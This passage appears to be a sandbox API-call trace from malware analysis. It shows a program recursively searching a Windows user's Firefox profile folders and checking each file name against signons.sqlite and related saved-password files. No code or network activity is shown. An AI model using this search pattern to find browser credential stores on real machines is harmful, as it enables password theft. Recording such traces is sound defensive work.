(in: hFindFile=0x6426e8, lpFindFileData=0x12fa42 | out: lpFindFileData=0x12fa42) returned 1 [0071.065] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0071.065] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0071.065] FindNextFileA (in: hFindFile=0x6426e8, lpFindFileData=0x12fa42 | out: lpFindFileData=0x12fa42) returned 1 [0071.065] StrStrIA (lpFirst="webapps.json", lpSrch="signons.sqlite") returned 0x0 [0071.065] lstrlenA (lpString="webapps.json") returned 12 [0071.065] StrStrIA (lpFirst="webapps.json", lpSrch="signons.txt") returned 0x0 [0071.065] StrStrIA (lpFirst="webapps.json", lpSrch="signons2.txt") returned 0x0 [0071.065] StrStrIA (lpFirst="webapps.json", lpSrch="signons3.txt") returned 0x0 [0071.065] FindNextFileA (in: hFindFile=0x6426e8, lpFindFileData=0x12fa42 | out: lpFindFileData=0x12fa42) returned 0 [0071.065] FindClose (in: hFindFile=0x6426e8 | out: hFindFile=0x6426e8) returned 1 [0071.065] LocalFree (hMem=0x65b428) returned 0x0 [0071.065] LocalFree (hMem=0x65b348) returned 0x0 [0071.065] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fbaa | out: lpFindFileData=0x12fbaa) returned 1 [0071.065] StrStrIA (lpFirst="webappsstore.sqlite", lpSrch="signons.sqlite") returned 0x0 [0071.065] lstrlenA (lpString="webappsstore.sqlite") returned 19 [0071.065] StrStrIA (lpFirst="webappsstore.sqlite", lpSrch="signons.txt") returned 0x0 [0071.065] StrStrIA (lpFirst="webappsstore.sqlite", lpSrch="signons2.txt") returned 0x0 [0071.065] StrStrIA (lpFirst="webappsstore.sqlite", lpSrch="signons3.txt") returned 0x0 [0071.065] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fbaa | out: lpFindFileData=0x12fbaa) returned 0 [0071.065] FindClose (in: hFindFile=0x6426a8 | out: hFindFile=0x6426a8) returned 1 [0071.066] LocalFree (hMem=0x627320) returned 0x0 [0071.066] LocalFree (hMem=0x627248) returned 0x0 [0071.066] LocalFree (hMem=0x643b68) returned 0x0 [0071.066] LocalFree (hMem=0x6721b0) returned 0x0 [0071.066] LocalFree (hMem=0x65e350) returned 0x0 [0071.066] LocalFree (hMem=0x662338) returned 0x0 [0071.066] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\") returned 49 [0071.066] lstrlenA (lpString="*.*") returned 3 [0071.066] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x643b68 [0071.066] lstrcpyA (in: lpString1=0x643b68, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" [0071.066] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\", lpString2="*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\*.*" [0071.066] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\*.*", lpFindFileData=0x12fbae | out: lpFindFileData=0x12fbae) returned 0x6426a8 [0071.066] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0071.066] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fbae | out: lpFindFileData=0x12fbae) returned 1 [0071.066] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0071.066] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0071.066] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fbae | out: lpFindFileData=0x12fbae) returned 1 [0071.066] lstrcmpiA (lpString1=".", lpString2="Crash Reports") returned -1 [0071.066] lstrcmpiA (lpString1="..", lpString2="Crash Reports") returned -1 [0071.066] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\") returned 49 [0071.066] lstrlenA (lpString="") returned 0 [0071.066] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x643c28 [0071.066] lstrcpyA (in: lpString1=0x643c28, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" [0071.066] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\", lpString2="" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" [0071.066] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\") returned 49 [0071.066] lstrlenA (lpString="Crash Reports") returned 13 [0071.066] LocalAlloc (uFlags=0x40, uBytes=0xbf) returned 0x65e350 [0071.066] lstrcpyA (in: lpString1=0x65e350, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" [0071.066] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\", lpString2="Crash Reports" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports" [0071.066] LocalFree (hMem=0x643c28) returned 0x0 [0071.066] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports") returned 62 [0071.066] lstrlenA (lpString="\\*.*") returned 4 [0071.066] LocalAlloc (uFlags=0x40, uBytes=0xc3) returned 0x65d330 [0071.066] lstrcpyA (in: lpString1=0x65d330, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports" [0071.067] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\*.*" [0071.067] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\*.*", lpFindFileData=0x12fa46 | out: lpFindFileData=0x12fa46) returned 0x6426e8 [0071.067] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0071.067] FindNextFileA (in: hFindFile=0x6426e8, lpFindFileData=0x12fa46 | out: lpFindFileData=0x12fa46) returned 1 [0071.067] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0071.067] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0071.067] FindNextFileA (in: hFindFile=0x6426e8, lpFindFileData=0x12fa46 | out: lpFindFileData=0x12fa46) returned 1 [0071.067] StrStrIA (lpFirst="InstallTime20131025151332", lpSrch="signons.sqlite") returned 0x0 [0071.067] lstrlenA (lpString="InstallTime20131025151332") returned 25 [0071.067] StrStrIA (lpFirst="InstallTime20131025151332", lpSrch="signons.txt") returned 0x0 [0071.067] StrStrIA (lpFirst="InstallTime20131025151332", lpSrch="signons2.txt") returned 0x0 [0071.067] StrStrIA (lpFirst="InstallTime20131025151332", lpSrch="signons3.txt") returned 0x0 [0071.067] FindNextFileA (in: hFindFile=0x6426e8, lpFindFileData=0x12fa46 | out: lpFindFileData=0x12fa46) returned 0 [0071.067] FindClose (in: hFindFile=0x6426e8 | out: hFindFile=0x6426e8) returned 1 [0071.067] LocalFree (hMem=0x65d330) returned 0x0 [0071.067] LocalFree (hMem=0x65e350) returned 0x0 [0071.067] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fbae | out: lpFindFileData=0x12fbae) returned 1 [0071.067] lstrcmpiA (lpString1=".", lpString2="Profiles") returned -1 [0071.067] lstrcmpiA (lpString1="..", lpString2="Profiles") returned -1 [0071.067] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\") returned 49 [0071.067] lstrlenA (lpString="") returned 0 [0071.067] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x643c28 [0071.067] lstrcpyA (in: lpString1=0x643c28, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" [0071.067] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\", lpString2="" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" [0071.067] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\") returned 49 [0071.067] lstrlenA (lpString="Profiles") returned 8 [0071.067] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x65e350 [0071.067] lstrcpyA (in: lpString1=0x65e350, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" [0071.067] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\", lpString2="Profiles" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" [0071.067] LocalFree (hMem=0x643c28) returned 0x0 [0071.067] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned 57 [0071.067] lstrlenA (lpString="\\*.*") returned 4 [0071.067] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x65d330 [0071.067] lstrcpyA (in: lpString1=0x65d330, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" [0071.067] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\*.*" [0071.067] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\*.*", lpFindFileData=0x12fa46 | out: lpFindFileData=0x12fa46) returned 0x6426e8 [0071.067] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0071.067] FindNextFileA (in: hFindFile=0x6426e8, lpFindFileData=0x12fa46 | out: lpFindFileData=0x12fa46) returned 1 [0071.068] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0071.068] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0071.068] FindNextFileA (in: hFindFile=0x6426e8, lpFindFileData=0x12fa46 | out: lpFindFileData=0x12fa46) returned 1 [0071.068] lstrcmpiA (lpString1=".", lpString2="h231daer.default") returned -1 [0071.068] lstrcmpiA (lpString1="..", lpString2="h231daer.default") returned -1 [0071.068] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned 57 [0071.068] lstrlenA (lpString="\\") returned 1 [0071.068] LocalAlloc (uFlags=0x40, uBytes=0xbb) returned 0x641518 [0071.068] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" [0071.068] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\" [0071.068] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\") returned 58 [0071.068] lstrlenA (lpString="h231daer.default") returned 16 [0071.068] LocalAlloc (uFlags=0x40, uBytes=0xcb) returned 0x627248 [0071.068] lstrcpyA (in: lpString1=0x627248, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\" [0071.068] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\", lpString2="h231daer.default" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" [0071.068] LocalFree (hMem=0x641518) returned 0x0 [0071.068] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned 74 [0071.068] lstrlenA (lpString="\\*.*") returned 4 [0071.068] LocalAlloc (uFlags=0x40, uBytes=0xcf) returned 0x627320 [0071.068] lstrcpyA (in: lpString1=0x627320, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" [0071.068] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\*.*" [0071.068] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\*.*", lpFindFileData=0x12f8de | out: lpFindFileData=0x12f8de) returned 0x642728 [0071.068] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0071.068] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8de | out: lpFindFileData=0x12f8de) returned 1 [0071.068] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0071.068] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0071.068] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8de | out: lpFindFileData=0x12f8de) returned 1 [0071.068] StrStrIA (lpFirst="addons.json", lpSrch="signons.sqlite") returned 0x0 [0071.068] lstrlenA (lpString="addons.json") returned 11 [0071.068] StrStrIA (lpFirst="addons.json", lpSrch="signons.txt") returned 0x0 [0071.068] StrStrIA (lpFirst="addons.json", lpSrch="signons2.txt") returned 0x0 [0071.068] StrStrIA (lpFirst="addons.json", lpSrch="signons3.txt") returned 0x0 [0071.068] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8de | out: lpFindFileData=0x12f8de) returned 1 [0071.068] lstrcmpiA (lpString1=".", lpString2="bookmarkbackups") returned -1 [0071.068] lstrcmpiA (lpString1="..", lpString2="bookmarkbackups") returned -1 [0071.068] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned 74 [0071.068] lstrlenA (lpString="\\") returned 1 [0071.068] LocalAlloc (uFlags=0x40, uBytes=0xcc) returned 0x6275a8 [0071.068] lstrcpyA (in: lpString1=0x6275a8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" [0071.068] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0071.068] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned 75 [0071.068] lstrlenA (lpString="bookmarkbackups") returned 15 [0071.068] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x641518 [0071.069] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0071.069] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\", lpString2="bookmarkbackups" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\bookmarkbackups") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\bookmarkbackups" [0071.069] LocalFree (hMem=0x6275a8) returned 0x0 [0071.069] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\bookmarkbackups") returned 90 [0071.069] lstrlenA (lpString="\\*.*") returned 4 [0071.069] LocalAlloc (uFlags=0x40, uBytes=0xdf) returned 0x626a88 [0071.069] lstrcpyA (in: lpString1=0x626a88, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\bookmarkbackups" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\bookmarkbackups") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\bookmarkbackups" [0071.069] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\bookmarkbackups", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\bookmarkbackups\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\bookmarkbackups\\*.*" [0071.069] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\bookmarkbackups\\*.*", lpFindFileData=0x12f776 | out: lpFindFileData=0x12f776) returned 0x642768 [0071.069] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0071.069] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12f776 | out: lpFindFileData=0x12f776) returned 1 [0071.070] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0071.070] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0071.070] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12f776 | out: lpFindFileData=0x12f776) returned 1 [0071.070] StrStrIA (lpFirst="bookmarks-2017-05-31_5.json", lpSrch="signons.sqlite") returned 0x0 [0071.070] lstrlenA (lpString="bookmarks-2017-05-31_5.json") returned 27 [0071.070] StrStrIA (lpFirst="bookmarks-2017-05-31_5.json", lpSrch="signons.txt") returned 0x0 [0071.070] StrStrIA (lpFirst="bookmarks-2017-05-31_5.json", lpSrch="signons2.txt") returned 0x0 [0071.070] StrStrIA (lpFirst="bookmarks-2017-05-31_5.json", lpSrch="signons3.txt") returned 0x0 [0071.070] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12f776 | out: lpFindFileData=0x12f776) returned 1 [0071.070] StrStrIA (lpFirst="bookmarks-2017-07-12_5.json", lpSrch="signons.sqlite") returned 0x0 [0071.070] lstrlenA (lpString="bookmarks-2017-07-12_5.json") returned 27 [0071.070] StrStrIA (lpFirst="bookmarks-2017-07-12_5.json", lpSrch="signons.txt") returned 0x0 [0071.070] StrStrIA (lpFirst="bookmarks-2017-07-12_5.json", lpSrch="signons2.txt") returned 0x0 [0071.070] StrStrIA (lpFirst="bookmarks-2017-07-12_5.json", lpSrch="signons3.txt") returned 0x0 [0071.070] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12f776 | out: lpFindFileData=0x12f776) returned 0 [0071.070] FindClose (in: hFindFile=0x642768 | out: hFindFile=0x642768) returned 1 [0071.071] LocalFree (hMem=0x626a88) returned 0x0 [0071.071] LocalFree (hMem=0x641518) returned 0x0 [0071.071] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8de | out: lpFindFileData=0x12f8de) returned 1 [0071.071] StrStrIA (lpFirst="cert8.db", lpSrch="signons.sqlite") returned 0x0 [0071.071] lstrlenA (lpString="cert8.db") returned 8 [0071.071] StrStrIA (lpFirst="cert8.db", lpSrch="signons.txt") returned 0x0 [0071.071] StrStrIA (lpFirst="cert8.db", lpSrch="signons2.txt") returned 0x0 [0071.071] StrStrIA (lpFirst="cert8.db", lpSrch="signons3.txt") returned 0x0 [0071.071] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8de | out: lpFindFileData=0x12f8de) returned 1 [0071.071] StrStrIA (lpFirst="compatibility.ini", lpSrch="signons.sqlite") returned 0x0 [0071.071] lstrlenA (lpString="compatibility.ini") returned 17 [0071.071] StrStrIA (lpFirst="compatibility.ini", lpSrch="signons.txt") returned 0x0 [0071.071] StrStrIA (lpFirst="compatibility.ini", lpSrch="signons2.txt") returned 0x0 [0071.071] StrStrIA (lpFirst="compatibility.ini", lpSrch="signons3.txt") returned 0x0 [0071.071] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8de | out: lpFindFileData=0x12f8de) returned 1 [0071.071] StrStrIA (lpFirst="content-prefs.sqlite", lpSrch="signons.sqlite") returned 0x0 [0071.071] lstrlenA (lpString="content-prefs.sqlite") returned 20 [0071.071] StrStrIA (lpFirst="content-prefs.sqlite", lpSrch="signons.txt") returned 0x0 [0071.071] StrStrIA (lpFirst="content-prefs.sqlite", lpSrch="signons2.txt") returned 0x0 [0071.071] StrStrIA (lpFirst="content-prefs.sqlite", lpSrch="signons3.txt") returned 0x0 [0071.071] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8de | out: lpFindFileData=0x12f8de) returned 1 [0071.071] StrStrIA (lpFirst="cookies.sqlite", lpSrch="signons.sqlite") returned 0x0 [0071.071] lstrlenA (lpString="cookies.sqlite") returned 14 [0071.071] StrStrIA (lpFirst="cookies.sqlite", lpSrch="signons.txt") returned 0x0 [0071.071] StrStrIA (lpFirst="cookies.sqlite", lpSrch="signons2.txt") returned 0x0 [0071.071] StrStrIA (lpFirst="cookies.sqlite", lpSrch="signons3.txt") returned 0x0 [0071.071] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8de | out: lpFindFileData=0x12f8de) returned 1 [0071.071] StrStrIA (lpFirst="downloads.sqlite", lpSrch="signons.sqlite") returned 0x0 [0071.071] lstrlenA (lpString="downloads.sqlite") returned 16 [0071.071] StrStrIA (lpFirst="downloads.sqlite", lpSrch="signons.txt") returned 0x0 [0071.071] StrStrIA (lpFirst="downloads.sqlite", lpSrch="signons2.txt") returned 0x0 [0071.071] StrStrIA (lpFirst="downloads.sqlite", lpSrch="signons3.txt") returned 0x0 [0071.071] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8de | out: lpFindFileData=0x12f8de) returned 1 [0071.071] StrStrIA (lpFirst="extensions.ini", lpSrch="signons.sqlite") returned 0x0 [0071.072] lstrlenA (lpString="extensions.ini") returned 14 [0071.072] StrStrIA (lpFirst="extensions.ini", lpSrch="signons.txt") returned 0x0 [0071.072] StrStrIA (lpFirst="extensions.ini", lpSrch="signons2.txt") returned 0x0 [0071.072] StrStrIA (lpFirst="extensions.ini", lpSrch="signons3.txt") returned 0x0 [0071.072] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8de | out: lpFindFileData=0x12f8de) returned 1 [0071.072] StrStrIA (lpFirst="extensions.sqlite", lpSrch="signons.sqlite") returned 0x0 [0071.072] lstrlenA (lpString="extensions.sqlite") returned 17 [0071.072] StrStrIA (lpFirst="extensions.sqlite", lpSrch="signons.txt") returned 0x0 [0071.072] StrStrIA (lpFirst="extensions.sqlite", lpSrch="signons2.txt") returned 0x0 [0071.072] StrStrIA (lpFirst="extensions.sqlite", lpSrch="signons3.txt") returned 0x0 [0071.072] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8de | out: lpFindFileData=0x12f8de) returned 1 [0071.072] lstrcmpiA (lpString1=".", lpString2="healthreport") returned -1 [0071.072] lstrcmpiA (lpString1="..", lpString2="healthreport") returned -1 [0071.072] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned 74 [0071.072] lstrlenA (lpString="\\") returned 1 [0071.072] LocalAlloc (uFlags=0x40, uBytes=0xcc) returned 0x6275a8 [0071.072] lstrcpyA (in: lpString1=0x6275a8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" [0071.072] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0071.072] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned 75 [0071.072] lstrlenA (lpString="healthreport") returned 12 [0071.072] LocalAlloc (uFlags=0x40, uBytes=0xd8) returned 0x65b348 [0071.072] lstrcpyA (in: lpString1=0x65b348, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0071.072] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\", lpString2="healthreport" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\healthreport") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\healthreport" [0071.072] LocalFree (hMem=0x6275a8) returned 0x0 [0071.072] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\healthreport") returned 87 [0071.072] lstrlenA (lpString="\\*.*") returned 4 [0071.072] LocalAlloc 